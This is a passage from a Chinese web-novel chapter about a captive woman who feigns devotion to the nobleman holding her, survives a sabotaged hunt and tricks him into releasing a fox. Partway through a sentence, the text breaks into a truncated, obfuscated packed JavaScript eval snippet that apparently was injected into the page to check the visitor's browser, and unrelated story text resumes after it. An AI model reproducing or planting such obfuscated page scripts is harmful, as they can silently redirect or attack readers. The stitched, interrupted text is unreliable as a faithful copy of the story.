这种感觉,太美妙,美妙到让他心甘情愿地,暂时放下了那浸入骨髓的算计,想去满足她这小小的,合情合理的愿望。 容璟听到自己带着清晰笑意的声音在安静的室内响起,掷地有声:“好!我教你。” 接下来的日子,演武场旁柔软的草地上,多了两道亲密无间,共同驭马的身影。 容璟几乎是倾囊相授,从辨认马具,安抚马匹开始,极尽耐心。 他享受着这个过程,享受着姜于归最初上马时,因陌生和高度的恐惧而下意识紧紧抓住他衣袖的依赖,享受着她因控制不住马匹方向,带着些许慌乱和无助,本能地看向他寻求帮助的眼神,更享受着她在练习间隙,偶尔会失神地望向某个方向,眼中那一闪而过的,被他完美解读为愧疚与挣扎的复杂情绪。 每当这时,容璟便会状似无意的移动身形,挡住姜于归的视线,或是用轻松却不容置疑的语气开导她:“骑马要专心,心无旁骛,目光向前,才能驾驭自如。人也一样,总看着身后,是走不远的。” 他要在姜于归每一次想起那个死人时,都强势的介入,用他的存在覆盖掉所有不该有的影子。 渐渐地,在他的精心教导下,姜于归从最初的生疏笨拙,到能颤巍巍地骑着马慢走,再到可以策马小跑。 姜于归紧绷的唇角开始一点点放松,在容璟某个干净利落的示范,或一句精准的指点后,姜于归会不自觉的对他露出清浅的,仿佛冰雪初融般的笑意,眼中也重新汇聚起那种让他心动不已的,亮晶晶的崇拜。 终于有一天,在秋日最灿烂的阳光下,姜于归能够独自驾驭着那匹温顺的白色母马,在场中稳稳地小跑一圈。 她的脊背挺得笔直,虽然姿态还带着初学者的生涩,但已能清晰的感受到她对马匹的控制力。 金色的光晕笼罩着姜于归,因紧张和运动而泛着健康红晕的双颊,亮得惊人的眼眸,以及嘴角那一丝克服巨大恐惧后,发自内心的,畅快而明亮的笑意...... 这一切,构成了一幅动人心魄的画面。 容璟站在场边,负手而立,深邃的目光紧紧追随着那道白色的身影。 一种前所未有的,澎湃的成就感如同暖流,彻底淹没了他。 这就是他的女人!从最初那个在清溪镇守着小小酒肆的老板娘,到如今能于马上驰骋,光芒初绽的贵妇,她的美丽,她的风姿,甚至她此刻脸上那耀眼的光芒,都是他容璟一手雕琢,一手赋予的! 容璟清晰的感受到,姜于归正在一点点剥去过去那层坚硬的,属于别人的茧,在他的掌心下,蜕变成完全属于他的,绚丽夺目的模样。 她心里的坚冰正在被他寸寸融化,那个死人的影子,终将被他的身影彻底取代,覆盖。 容璟觉得,姜于归终于,彻底地属于他了。 这种完全占有的满足感,比他赢得任何一场政治博弈,都更让他心神俱醉。 然而容璟不知道,当夜幕降临,白日里姜于归对他展现的所有温情与光彩,都瞬间褪去。 姜于归拥被而坐,如同一个卸下了所有华丽戏服的伶人,脸上只剩下眉心一抹挥之不去的凝重与冰冷。 秋猎。 这两个字在她脑中反复盘旋,带着诱惑,更带着无尽的危险。 那本该是一个绝佳的机会,人员混杂,场面宏大,若能策马冲入密林深处...... 通往自由的路,似乎就在眼前。 可这个念头刚升起,就被她用强大的理智强行按了下去,如同用冰水浇灭野火。 不行,太冒险了。 姜于归在心底对自己冷叱,指甲深深陷入掌心。 皇家猎苑,听着是脱离掌控的机会,实则是更巨大,更无处可逃的囚笼。 她对那里的地形,岗哨分布,禁区界限一无所知。 容璟看似对她放松了警惕,允她学骑马,带她参加秋猎,可这何尝不是一种更隐蔽,更居高临下的试探? 那个男人的心思深沉如海,她亲身领教过他是如何用一张温情脉脉的网,将她牢牢囚禁,欺骗了整整半年! 万一眼前这看似松懈的掌控,是他精心布下的另一个局,只等她欣喜若狂地自投罗网...... 一想到这种可能性,姜于归便忍不住打了个寒颤,一股寒意从脚底直窜头顶,瞬间冰封了方才因幻想自由而升起的些许热度。 她不能赌,也赌不起,一次失败的逃离,换来的必然是比现在严酷百倍,真正令人绝望的囚禁,甚至可能......真的让她油尽灯枯。 必须忍耐! 姜于归深吸一口冰冷的空气,强迫自己躁动的心冷静下来,如同最老练,最沉得住气的猎人,她需要更多的耐心,等待一个准备更充分,把握更大的时机。 与太子妃的线刚刚搭上,外出交际的门路初现曙光,她需要利用这些,一点点织就属于自己的信息网,摸清盛京乃至更远地方的脉络,而不是凭一时冲动,葬送所有。 然而,另一个更迫在眉睫的恐惧,如同暗中窥伺的毒蛇,悄然缠绕上她的心头。 孩子。 府医的汤药一日不曾间断,容璟夜间的索取也愈发频繁且......带着某种笃定的意味。 尽管那府医每次都重复着需耐心调理的说辞,可万一呢? 万一哪一次侥幸,在她成功逃离这座牢笼之前,腹中孕育了一个不该存在的,流着容璟血脉的生命...... 姜于归的手下意识地抚上自己平坦的小腹,若那里真的有了生命,对她而言,那绝不是希望的结晶,而是将她与容璟,与这座吃人牢笼彻底,永生永世捆绑死的,最坚固,最残忍的锁链! 她绝不允许! 思及此,姜于归眼中闪过一丝近乎狠绝的厉色。 于是,在又一次府医前来请平安脉时,姜于归刻意屏退了左右,只留素馨和秋穗在远处守着,营造出私密的氛围。 她看着府医苍老的手指搭上她的腕脉,状似无意,语气里却带着连她自己都难以完全控制的,真实的急切,轻声问道:“大夫,我的身子......究竟调理得如何了?还需多久才能......才能有望延育子嗣?” 姜于归脸上的焦急之色是真切的,但那焦灼的根源,是源于对彻底失去自由的恐惧,是对被永远锁死的绝望。 然而,这无比真实的神情,落在年迈的,早已先入为主认定这位侧夫人一心争宠,急于稳固地位的府医眼中,便成了另一种理所当然的解读。 老府医捋着花白的胡须,脸上露出宽慰的,了然的笑意:“侧夫人不必过于忧心,您底子亏损得厉害,非一日之功。不过请放心,如今脉象比之年初已和缓有力许多,只要耐心用药,静心调养,假以时日,必能如愿以偿,为世子开枝散叶。” 这番宽慰的话,连同姜于归那急切追问的神情,一字不落的通过隐在暗处的眼睛和耳朵,迅速传到了容璟的书房。 书房内,容璟执笔的手顿在半空,听着长青的低声禀报,他先是微微一怔,笔尖的墨汁滴落在宣纸上,晕开一小团污迹也浑然未觉。 随即,一抹极其舒缓的,真切的,甚至带着几分释然的笑意,自他唇角缓缓漾开,最终不可抑制地蔓延至眼底深处,驱散了惯有的深沉与冷冽。 他放下笔,身体向后靠进宽大的紫檀木椅背,一种难以言喻的,暖融融的满足感如同初春的溪流,潺潺地熨帖过他常年冰封的心湖。 她竟如此急切地......想要一个他的孩子。 这个认知,比看到她崇拜的眼神,比感受到她身体的软化,更让容璟心神激荡,几乎有种眩晕般的喜悦。 孩子,是比任何誓言,任何情感羁绊都更牢固的,无法斩断的纽带。 这意味着,姜于归是真的在内心深处规划着与他们共同的未来,是真的想要彻底融入他的骨血,用最原始也最无法割舍的方式,与他永生永世地捆绑在一起。 之前所有关于她是否在伪装,是否还有异心的疑虑,在这一刻,似乎都显得那么多余而可笑。 哪有人会用自己的身体,用孕育子嗣这等大事来演戏? 这定是她潜意识里最真实,最无法掩饰的渴望! “知道了。” 容璟的声音带着一丝连他自己都未曾察觉的轻松与愉悦,他挥退了长青,独自坐在寂静的书房里,看着桌案上堆积的公务,只觉得连日来因朝堂争斗而积攒的疲惫与算计,都被这股奇异的暖流冲刷得一干二净。 原来,被人如此殷切地期盼着,需要着,感觉竟是这般......美妙。 他甚至开始不由自主的,带着一种近乎虔诚的想象,一个融合了他与她骨血的小生命,会是什么模样。 但那颗常年被权谋和冰冷包裹的心,此刻实实在在的为这个可能性而柔软灼热起来。 容璟仿佛看到一条坚不可摧的纽带,正在无声地编织,收紧,将他和她,彻底融为一体。 —————— 秋高气爽,天阔云舒。 皇家猎苑旌旗招展,号角长鸣,声震四野。 皇帝御驾亲临,宗室子弟与勋贵重臣们皆鲜衣怒马,一派盛世围猎的豪迈景象。 容璟一身墨色绣金骑装,玉带束腰,愈发衬得他面如冠玉,身姿挺拔如松。 在众人之中,他卓然不群,既有世家公子的清贵,又透着武将的英气。 他亲自为姜于归挑选了一匹温驯却也不失矫健的白色母马,毛色如雪,在秋阳下闪闪发光。 扶她上鞍时,容璟的指尖在她微凉的手背上轻轻一按,那力道带着不容置疑的掌控,语气却是难得的温和纵容,仿佛在安抚一只珍贵的雀鸟:“就在这附近走走,看看风景便好,莫要深入林地,里面路况复杂,恐有危险。待我随陛下猎得头彩,回来再陪你。” 说完,容璟的目光状似无意的扫过垂手侍立在一旁,神色紧张的素馨和秋实,以及不远处几个看似寻常仆从,实则眼神锐利如鹰的侍卫,其中警告与保护的意味,如同无形的网,瞬间收紧。 姜于归乖巧点头,脸上适时地泛起一抹被关怀的红晕,如同初春的桃花,娇怯而动人。 她低声应道:“妾身省得,世子放心。” 然而,在姜于归低垂的眼睫掩盖下,眼底却是一片冰冷的清明,如同深潭静水,不起波澜。 很快,皇帝一声令下,大队人马如同决堤的洪流,在轰鸣的马蹄声与激昂的号角声中,向着密林深处汹涌而去,扬起漫天黄尘,遮天蔽日。 喧闹过后,留给女眷区域的,是一片骤然安静下来的广阔草场,只余下风声,鸟鸣,以及零星几位贵女和仆从的低语。 姜于归勒紧缰绳,端坐于马背之上,在原地停留了片刻,仿佛在适应这突如其来的空旷与自由。 她能清晰的感受到背后那些侍卫的目光,如同芒刺在背。 姜于归轻轻一夹马腹,白马乖巧的迈开步子,开始沿着草场的边缘缓缓而行,素馨立刻驱马紧随其后,尤其是秋实,毕竟经历过上次的事件,她现在对于姜于归可能受伤,或者什么其他的行为,都如临大敌,眼下更是更是寸步不离,低声提醒,声音里满是忧虑:“侧夫人,世子吩咐......” 姜于归打断她,声音平静无波,听不出任何情绪,目光却悠远地投向远方层林尽染的山峦:“我知道!只是觉得有些闷,随便走走,透透气,不会走远。” 而姜于归确实没有走远,每一次,她都只是朝着林地边缘,那象征着未知与自由的方向,骑行一小段距离。 她的姿态闲适,目光看似流连于天高云淡,秋色斑斓的风景,实则眼观六路,耳听八方,不动声色的扫视着远处的岗哨布局,林地边缘的地形起伏,以及人马通行的路径。 姜于归的心脏在胸腔里沉稳而有力地跳动着,不是因为即将触摸到自由的兴奋,而是因为她正在刀尖上跳舞,进行着一场极其危险却又至关重要的表演。 一场精心策划的忠诚预演。 她在试探监视的底线,更在巩固容璟那来之不易的信任。 每一次,当姜于归□□的白马即将踏过某条无形的界限,当素馨和秋实的呼吸因紧张而变得急促,当她能感觉到背后那些目光骤然锐利时,她便会毫不犹豫的,姿态从容的勒转马头,返回那片被默认为安全的区域。 甚至有一次,姜于归仿佛被这秋日美景所感染,轻轻一抖缰绳,策马小跑了一段距离,感受着疾风拂过面颊,吹动衣袂猎猎作响的些微快意。 然而,就在秋实忍不住发出惊慌呼喊的瞬间,姜于归立刻适时地流露出一丝玩过头的后怕与懊恼,迅速放缓了速度,轻轻抚摸着白马的脖颈,仿佛在安抚它,也像是在平复自己受惊的情绪。 “侧夫人!您还是回来吧!这太危险了!奴婢......奴婢这心都快跳出来了!” 在姜于归第四次进行这种试探性溜达并折返后,秋实的脸色已然发白,声音带着哭腔恳求道,她实在承担不起任何闪失。 姜于归对她回以一个极淡却带着安抚意味的笑容,语气温和:“瞧你吓的,我这不是好好的?” 然而在她转回头的刹那,心底却是一片冰冷的讽笑。 就是要让你提心吊胆,就是要让这份恪守本分与谨慎胆小,通过你的嘴和那些监视者的眼,一字不落地传到容璟耳中! 姜于归如同一个最有耐心的演员,一次次重复着这看似任性,实则每一步都经过精确计算的彩排。 她要让所有人都深信不疑,即便笼门大开,这只被精心饲养的金丝雀,也早已失去了振翅高飞的本能和勇气。 果然,远处高坡上,一个负责瞭望,伪装成普通侍卫的暗卫,将姜于归这一切安分守己的行为尽收眼底,并在容璟中途暂歇,补充箭矢的间隙,寻机低声禀报了上去。 容璟正擦拭着弓弦,闻言,动作未停,只是唇角几不可察地勾起一抹了然于胸的弧度。 那是一种一切尽在掌握的笑意。 看,他所料不差,姜于归确实已经放下那个死人,彻底依赖他,就像一只被彻底驯化的鸟儿,即便给予她一片天空,她也只敢在熟悉的笼边扑腾几下,最终还是会依赖的回到为她设定的栖杆之上。 容璟心中那最后一丝因将她独自留在那片空旷之地而升起的不确定,此刻也彻底烟消云散,取而代之的是一种混合着得意与怜爱的满足。 戏已做足,分寸拿捏得恰到好处,姜于归估摸着时间,觉得今日份的忠诚与依赖表演已然足够取信于人。 她轻轻吁出一口一直憋在胸口的浊气,紧绷的肩颈微微放松,准备下马休息,结束这场心力交瘁的演出。 就在此时,异变陡生! “嗖——!” 一支不知从何处射来的箭矢,带着恶意的,尖锐的破空声,力道不算十足,角度却极为刁钻狠毒,不偏不倚,紧贴着姜于归所乘白马的后臀肌肤擦过! 白马何曾受过这等突如其来的惊吓与刺痛?它顿时发出一声凄厉至极的长嘶,巨大的马身人立而起,随即如同被地狱之火灼烧般,彻底失控,四蹄腾空,疯狂地,不顾一切地朝着茂密幽深的丛林深处亡命冲去! “啊——”姜于归吓得尖叫出声,马蹄腾飞之际,她看到了收起弓箭,对着她露出得意冷笑的永福。 “夫人——!” 素馨和秋实撕心裂肺的惊呼声,瞬间被呼啸的风声和树木急速倒退的模糊影象远远抛在身后,显得如此微弱而无助。 姜于归猝不及防!巨大的惯性将她狠狠掼向马背,五脏六腑仿佛都移了位! 她只能凭借这段时间练习出的本能,死命的俯低身体,双臂紧紧抱住剧烈颠簸的马颈。 耳边是风狂暴的嘶吼,身旁是树木枝条抽打在身上,脸上的火辣刺痛。 颠簸混乱的视野中,两侧的景物已模糊成一片飞速流淌的色带,陌生的,崎岖的路径在发疯的马蹄下不断向前延伸...... 逃跑! 这个被压抑了太久太久的念头,如同沉寂的火山骤然喷发,带着毁灭一切的热度与力量,瞬间席卷了她的全部意识! 虽然不是最好的时机,虽然毫无准备,虽然前路未卜......但这是天赐的良机! 是永福那个蠢货亲手送给她的,一个完美到无可挑剔的,足以撇清所有嫌疑的借口! 求生的本能,对自由刻入骨髓的渴望,在这一刻彻底压倒了理智! 姜于归的灵魂在疯狂的叫嚣,每一个细胞都在催促她抓住这稍纵即逝的机会! 她甚至尝试着在剧烈的颠簸中去控缰,想要引导这匹受惊的马匹,朝着她想象中的,远离一切的方向冲去......哪怕只有万分之一的可能! 然而,这孤注一掷的疯狂念头,仅仅在她脑中燃烧了不到半盏茶的功夫。 一阵更急促,更沉重,更具压迫感的马蹄声,如同地狱传来的催命鼓点,以惊人的速度自她身后急速逼近! 那声音带着一种熟悉的,不容置疑的强势,甚至比风声更清晰的敲打在她的耳膜上。 她甚至能清晰的感受到那股熟悉的,带着凛冽气息的压迫感,如同实质般笼罩而来! “于归!别怕!” 是容璟! 姜于归的心,瞬间从滚烫的渴望巅峰,笔直地坠入冰冷的,绝望的深渊谷底! 果然......果然如此! 即便是在这皇家猎场,即便他看似不在身边,即便她以为监视会有所松懈......那双无处不在的,属于他的眼睛,也从未有一刻真正离开过她! 她就像一只被拴着无形丝线的风筝,自以为飞向了天空,却不知线头始终牢牢拽在那个男人的掌心,只需轻轻一拉,她便会被瞬间拽回原地! 就在这电光火石,生死一线的刹那,求生的本能让她做出了最正确,也是最无奈的决定继续演下去! 当容璟的身影如同矫健而暴怒的黑色猎豹,以惊人的速度与她并行。 他深邃的眼眸中翻涌着骇人的风暴,手臂却稳定如山,精准而有力的一把控住她马匹的缰绳。 而后,凭借强大的力量与高超的骑术,硬生生将狂躁的白马强行勒停在原地。 姜于归几乎是同一时间,如同被彻底抽走了所有骨头和力气,软软的从马背上滑落,不偏不倚,精准地跌入容璟及时张开,坚实而滚烫的怀抱。 姜于归把脸深深埋入容璟沾染着尘土与草木气息,却依旧昂贵的骑装前襟,肩膀无法控制的剧烈颤抖着,滚烫的泪水瞬间决堤,迅速浸湿了他胸前的衣料。 这哭泣,七分是精心计算的表演,为了博取最大的怜惜,为了完美掩盖方才那一瞬间真实涌现的,想要逃离的动摇与疯狂。 却也有三分是真真切切的恐惧,对险些坠马摔得粉身碎骨的恐惧,以及对这如同天罗地网般无处不在,令人窒息的掌控,感到的深入骨髓的绝望。 “潜玉......我好怕......我好怕......” 姜于归哽咽着喊出了容璟的名字,声音破碎不堪,带着劫后余生的颤抖。 她那冰凉的手紧紧抓着容璟腰侧的衣襟,用力到指节泛白,仿佛他是这狂暴天地间,唯一可以依赖,可以抓住的浮木。 容璟紧紧抱着怀中这具颤抖不止,脆弱得仿佛一碰即碎的温热身躯,感受着她全然的,不加掩饰的依赖与恐惧,之前因追赶而燃起的滔天怒火与瞬间的心悸,奇异的被一种更强烈的,失而复得的庆幸与一种扭曲的满足感所取代。 姜于归如此害怕,如此需要他,她刚才定然是吓坏了,在那等危急关头,她脑中绝无半点其他心思,只有对他到来的期盼。 然而这份满足感,在容璟低头细看时,骤然凝固。 秋日明澈的阳光下,他清晰的看到姜于归苍白如玉的脸上,好几道细长的血痕正微微渗着血珠,如同无暇美玉上裂痕刺目惊心。 定然是方才在林中疾驰时,被横生的树枝所伤。 一股尖锐的心疼混合着瞬间飙升的戾气,猛的拽住了容璟的心脏。 姜于归受伤了。 在他如此珍视小心翼翼呵护,连重话都舍不得说一句的人儿身上,竟然留下了这样碍眼的伤痕! 这不仅仅是疼痛,更是对他容璟所有物的侵犯与玷污! 李明珠! 这个名字在他心中无声碾过,带着冰封的杀意。 那个蠢货,竟敢用如此下作的手段,公然挑衅他的权威,践踏他的底线! 容璟收紧了手臂,把姜于归更深的嵌入自己怀中,指腹极其轻柔的避开了那些伤痕,拭去姜于归眼角的泪。 容璟开口,声音是他自己都未曾察觉的前所未有的低柔,那柔和中,却压抑着风暴来临前的死寂:“没事了,于归,没事了,我在这里。别怕,有我在。” 这一刻看着怀中哭得梨花带雨全然依赖他的姜于归,容璟心中那最后一丝,连他自己都未曾清晰意识到的,关于姜于归是否会逃离的疑虑,彻底烟消云散,如同被阳光驱散的最后一缕晨雾。 容璟无比坚信,这只被他精心豢养,温柔驯化的雀儿,早已从身到心都彻底依附于他,失去了飞向野外的能力与勇气。 她的世界,只能也必须有他容璟的存在。 而任何胆敢破坏这份完美,伤及他所有物的人,都必须付出与之相称的代价。 容璟带着姜于归回到大营,小心翼翼的把姜于归扶下马,很快交给急忙赶来的秋实和侍从,声音是前所未有的温和:“带夫人回去好生照料,请随行太医看看,务必用最好的药,不能让她脸上留下任何疤痕。” 姜于归脸色苍白,泪痕未干,柔弱的倚在素馨身上,离开之间,姜于归微微颔首,目光与容璟短暂交汇,那眼神充满了惊惧过后的脆弱与信任。 容璟心中那份保护欲与占有感更是膨胀到了极点。 然而,当他目送姜于归被簇拥着离开,再转身望向永福公主所在的方向时,那双凤眸中的温情瞬间褪尽,只剩下凛冽的冰霜与翻涌的戾气。 永福正被一群贵女围着,看着容璟带着姜于归归来,脸上瞬间带着一丝慌乱。 但是很快似乎想到什么,又拿出自己身为公主的威严。 而容璟看着永福这个模样,更是点燃了他胸中的怒火。 他没有立刻发作,而是深吸一口气,强行压下当场撕碎对方的冲动。 他弯腰,从地上捡起那支差点酿成大祸的箭矢,紧紧攥着长箭,随即他迈开步伐,身影挺拔却带着一种沉郁的决绝,径直朝着皇帝走去。 御前气氛庄重,皇帝已经归来,正与几位老臣笑谈今日猎获。 容璟的到来顿时吸引了所有人的目光,他无视两旁各异的神色,行至御前,撩袍端端正正跪下,双手将那支箭矢高举过顶。 他没有声嘶力竭的控诉,甚至语气都异常平静,只是那平静之下,是任谁都能听出的沉痛与压抑的愤怒,他一字一句,清晰的将事发经过陈述,从姜于归如何在安全区域骑马,到永福公主的箭如何惊马,再到他如何千钧一发之际将人救下。 容璟抬起头,目光坦荡而带着一丝隐忍的屈辱:“陛下,臣自知身份卑微,不敢与天家贵胄相较,但臣之侧室姜氏自入府以来,性情温婉,恪守本分,从未主动招惹是非。今日皇家围猎,本为彰显我朝武风,君臣同乐的盛世庆典,永福公主却于众目睽睽之下,以箭矢惊其坐骑,致其险些命丧丛林,受尽惊吓。臣......恳请陛下,念在姜氏无辜受害,给臣,也给受惊无辜者一个交代。” 他句句未提自身委屈,只强调姜于归的无辜柔弱和事件的凶险万分,将一个备受欺凌,却仍恪守臣道,只为身边人求一个公道的忠臣形象,演绎得淋漓尽致。 这番姿态,比任何激烈的言辞都更具力量。 老皇帝端坐于龙椅之上,面容看不出喜怒,他那双阅尽世事的眼睛,先是落在容璟身上,带着审视与考量,随即又淡淡瞥向一旁陪伴的薛贵妃,以及她身边面色阴沉的睿王。 皇帝心中已是明镜一般,关于刚才之事,他自然已经有所耳闻。永福的骄纵他岂会不知?容璟的隐忍与锋芒他更是清楚。 一边是宠妃爱女,母族势力盘根错节,尚需安抚,不能过度打压以免狗急跳墙。 另一边却是他倚重且需要稳住的股肱之臣,其能力与背后代表的势力,关乎朝局平衡,甚至关乎未来的......储位之争。 短暂的沉默,使得御前的气氛几乎凝固,所有人都屏息凝神,等待着天子的裁决。 终于,皇帝缓缓开口,声音带着不容置疑的威严,打破了沉寂:“永福。” 被点名的永福公主浑身一颤,犹豫再三后,这才不情不愿的出列跪下。 “你身为公主,不知娴静端庄,行为失检,狩猎之时竟险些酿成大祸!惊扰臣子家眷,有损皇家颜面!” 皇帝的声音不大,却字字如锤,敲在每个人心上:“朕罚你禁足半年,静思己过,抄写《女诫》《道德经》百遍,以修身养性!若再不知悔改,定不轻饶!” 这番斥责听起来严厉,但明眼人都知道,禁足抄书,对于一位公主而言,不过是不痛不痒的惩戒,保全了皇家体面,也给了薛贵妃和睿王一个台阶下。 薛贵妃的神色一如既往的平静,好似根本没有把容璟放在眼里,而永福听完话明显松了口气,连忙叩首谢恩。 然而,皇帝的话并未结束,他目光转向依旧跪着的容璟,语气缓和了许多,带着明显的抚慰:“容爱卿,今日之事,让你受委屈了,你的忠心,朕深知,你的侧夫人更是无妄之灾,受惊不小。” 说道这里,皇帝顿了顿,继续道:“传朕旨意,将去岁进贡的那柄镶宝石匕首,连同江南新贡的月光锦十匹,赐予容卿侧室姜氏,以示抚慰,压惊之用。” 这赏赐不可谓不厚,尤其是那月光锦,流光溢彩,价值千金,宫中妃嫔也未必能得几匹,如今却赏给一个侧室,其中意味,耐人寻味。 但这还未完,皇帝看着容璟,说出了最关键的决定:“另,容璟恪尽职守,忠勇可嘉,即日起,兼任京畿巡防营副指挥使一职,望你勤勉任事,勿负朕望。” 此言一出,周围隐隐传来一阵抽气声! 容璟本就已经身居要职,乃是正三品的刑部侍郎,掌天下刑名,权柄已然不小。 除此之外,他更兼任着一个直抵天听的要职——青龙台执令使。 那是只属于皇帝陛下的一柄暗刃,对于一些不便宣之于口的隐秘事物,拥有秘奏之权和临机专断之权,朝中百官无不忌惮。 而如今皇帝为了安抚补偿,又将京畿巡防营副指挥使的实权授予了他。这职位看似品级不算顶尖,却是实实在在掌握京城部分卫戍力量的实权要职! 刑部侍郎是明面的司法权,青龙执令使是可以绕过常规程度暗中调查的特权,京畿巡防营副指挥使可是实实在在的军事力量。 如今这三重身份叠加在容璟一人身上,皇帝对其信任与倚重之意不言而喻! 这远比严惩永福更能安抚容璟,也更能体现皇帝的权术平衡,既稍稍压制了薛贵妃一方的气焰,又极大地增强了对容璟的笼络。 容璟垂首跪着,眼底深处掠过一丝了然与锐芒,他明白,这就是皇帝给出的交代。 用虚名安抚了皇室颜面,用实权补偿了他的委屈。 容璟立刻叩首,声音沉稳而充满感激:“臣容璟,谢主隆恩!陛下体恤,臣感激涕零,定当竭尽全力,恪尽职守,以报陛下天恩!” 皇帝微微颔首,看着台下恭敬的容璟,在他谢恩后准备起身退下时,又淡淡补充了一句,声音不高,带着几分亲近,足以让近前的容璟听清:“潜玉啊。” 容璟动作一顿,再次垂首:“臣在。” 皇帝的目光在他身上停留片刻,带着一种深沉的,唯有他们彼此能懂的意味:“你是聪明人,当知朕之苦心,有些事,不急在一时,来日方长。” 这话,既是警告他暂时隐忍,不要再就此事纠缠不休,也是明确的暗示,待来日时机成熟,铲除薛家外戚势力之后,今日永福之举,连同过往种种,必将清算,容璟今日所受的委屈,届时自会加倍奉还。 容璟心头一震,面上却丝毫不显,只是将头埋得更低,语气无比恭顺:“臣......谨记陛下教诲。” 说罢容璟站起身,恭敬的退后几步才转身离开。 背对着御座的那一刻,容璟眼底的恭顺瞬间化为一片冰冷的幽深。 皇帝的平衡术,他懂,他得到的实惠,他也清楚,至于永福...... 容璟唇角勾起一抹极淡,却令人不寒而栗的弧度。 来日方长?不,他容璟向来睚眦必报,有些利息,不必等到来日,他现在就可以慢慢收取,只是方式需要更隐蔽,更符合他一贯的风格。 而此刻容璟更关心的是那个受惊的人儿是否安好,这场风波于他而言,危机中藏着机遇,而姜于归那全然依赖的模样,才是他此刻最在意,也最满意的战利品。 秋猎结束,归去的马车缓缓驶入荣国公府,车厢内暖意融融,与外间萧瑟的秋风恍若两个世界。 回到汀兰水榭,容璟看着面色仍带一丝倦意的姜于归,抬手示意,有侍从恭敬呈上一个精美的小笼子,笼子利,正是容璟亲手猎得的一只火狐。 火狐色泽鲜亮如燃烧的火焰,没有一丝杂色,在车厢昏暗的光线下,仿佛自身在发光,而因为来到陌生的环境,火狐显然有些应激,整个身子都拱了起来,露出尖锐的爪子和牙齿。 容璟开口,语气里带着一种罕见的近乎献宝般的温和,他抬手指着笼子道:“看看,这畜生狡猾得紧,费了我好些功夫,我说过要给你猎一只火狐,你看看可还喜欢,这毛色极正,我已吩咐下去,让府里最好的匠人赶工,给你做一条围脖。待到寒冬腊月,风雪袭人时,将它围上,定然暖和,也最是衬你。” 容璟想象着这抹属于他的,带着掠夺意味的鲜亮红色,紧紧环在姜于归纤细洁白的颈间,那将是他赋予她的,不容置疑的占有与荣耀的象征,将她牢牢圈定在他的领地之内。 姜于归的目光落在那团耀眼的红色上,那过于鲜艳的颜色刺得她眼珠微微发涩。 她沉默了片刻,眼底几不可察的掠过一丝极淡的物伤其类的悲凉,随即,她抬起眼看向容璟,眸中漾开一种近乎悲悯的水色,声音轻缓开口:“世子......” 容璟看向姜于归,似乎有些不满意这个称呼。 姜于归视线扫过屋内,四下无人,最后还是改口。 “潜玉的心意,妾身感受到了,很是欢喜,只是......” 姜于归目光再次落在火狐的身上,话锋轻轻一转,带着些许怯意:“这生命方才还在林中奔跑跳跃,鲜活灵动,此刻却......我若将它披在身上,只怕日后每每看到,心中都会感到不安,甚至......害怕,它会夜夜入我梦来质问的。” 姜于归微微蹙起秀眉,那情态真切得让人心尖发软,随即又像是鼓起莫大勇气般,带着一丝孤注一掷的恳求望向他:“潜玉既已将这份心意给了妾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着姜于归的伤,似乎无时无刻不在提醒他永福对姜于归,对他的冒犯。 容璟忽然伸出手,指尖极其轻柔的拂过姜于归脸上的纱布地方,动作小心翼翼,仿佛在触碰一件稀世珍宝。 容璟低声问,语气里是毫不掩饰的心疼:“还疼吗?” 在容璟触碰的瞬间,姜于归借着容璟身体的遮挡,目光无意间扫过侧后方光可鉴人的铜镜,清晰的映出了姜于归包扎着纱布的脸。 一些粗浅的皮外伤而已,姜于归心里并没有过分动容,她甚至想到年初林晏血溅刑场的模样,她现在这伤和林晏比起来,简直微不足道。 而且姜于归觉得这伤痕来得正好,它像一枚活生生的标签钉在她脸上,无声的控诉着永福的恶行,时时刻刻提醒着容璟,他的所有物被侵犯的事实。 现在莫说一道疤,只要能换来她的自由,便是毁了这张脸,姜于归也心甘情愿。 皮相不过是躯壳,是容璟迷恋的囚笼装饰品,若能以此换取挣脱牢笼的机会,姜于归只会觉得这是一笔再划算不过的买卖。 思索间,姜于归眼眸氲起税务,姜于归声音微微颤抖,甚至带着几分哽咽:“已经不那么疼了,不过潜玉怎会......怎会如此想我?妾身只是......只是不忍心一条鲜活的生命因我而无辜逝去,它既已在我眼前出现过,我便无法心安理得的享用它的皮毛,这与妾身自身有何相干?难道在潜玉眼中,妾身便是那般不知足,不安于室的人么?还是说......潜玉其实从未真正信过我?” 姜于归的双手,带着一种下意识的自我保护的姿态,轻轻交叠在自己依旧平坦的小腹前,仿佛那里藏着什么不容玷污的珍宝。 姜于归的辩解合情合理,带着被冤枉的激动,而那个护住小腹的动作,落在正沉浸于她急切求子认知中的容璟眼里,瞬间被放大,被扭曲,解读成了另一种更令他狂喜的含义。 她是在为未能如愿孕育他们的子嗣而焦虑不安,是在通过放生这等善举默默积福?祈求上苍垂怜,赐予她一个属于他们的孩子! 这个认知像一道滚烫的熔岩,瞬间将容璟心底因自由二字而起的那点微不足道的怀疑击退的无影无踪! 原来姜于归的善良与不忍,所有看似出格的行为背后,藏着的竟是这般深沉而完全属于他的渴望! 疑虑与不悦顿时烟消云散,取而代之的是一种汹涌澎湃的得意与扭曲的满足。 容璟朗声一笑,那笑声畅快而充满力量,伸手将她微凉而纤细的手完全包裹在自己温热干燥的掌心,语气是全然的了然,纵容与宠溺。 “好,好,都依你,都依你!” 容璟说完,目光意有所指的扫过她交叠在小腹的双手,其中的怜爱与承诺不言而喻:“既然我的于归如此心善,要放生积福,那我岂有不应之理?便放了它!只盼上天念你这份慈悲心......” 姜于归敏锐的捕捉到了容璟的误会,心中先是一愣,随即一股冰冷的,带着嘲讽意味的洪流几乎要冲垮她的理智,但他眼中那毫无掩饰的喜悦与满足,正是她此刻最需要的东西。 姜于归迅速压下所有情绪,面上浮起一层恰到好处的,如同晚霞般动人的红晕,她微微偏过头,垂下浓密的眼睫,以一种默认的,含羞带怯的姿态,接受了他这份荒谬却至关重要的误解。 这欲语还休的羞怯,比任何言语的承认都更让容璟心花怒放,志得意满。 他只觉得胸腔被一种前所未有的充盈感填满,仿佛已经看到了不远的将来,她怀中抱着一个眉眼酷似他的婴孩,对他展露全然依赖的笑颜。 是夜,汀兰水榭内红烛高烧,帐暖香浓。 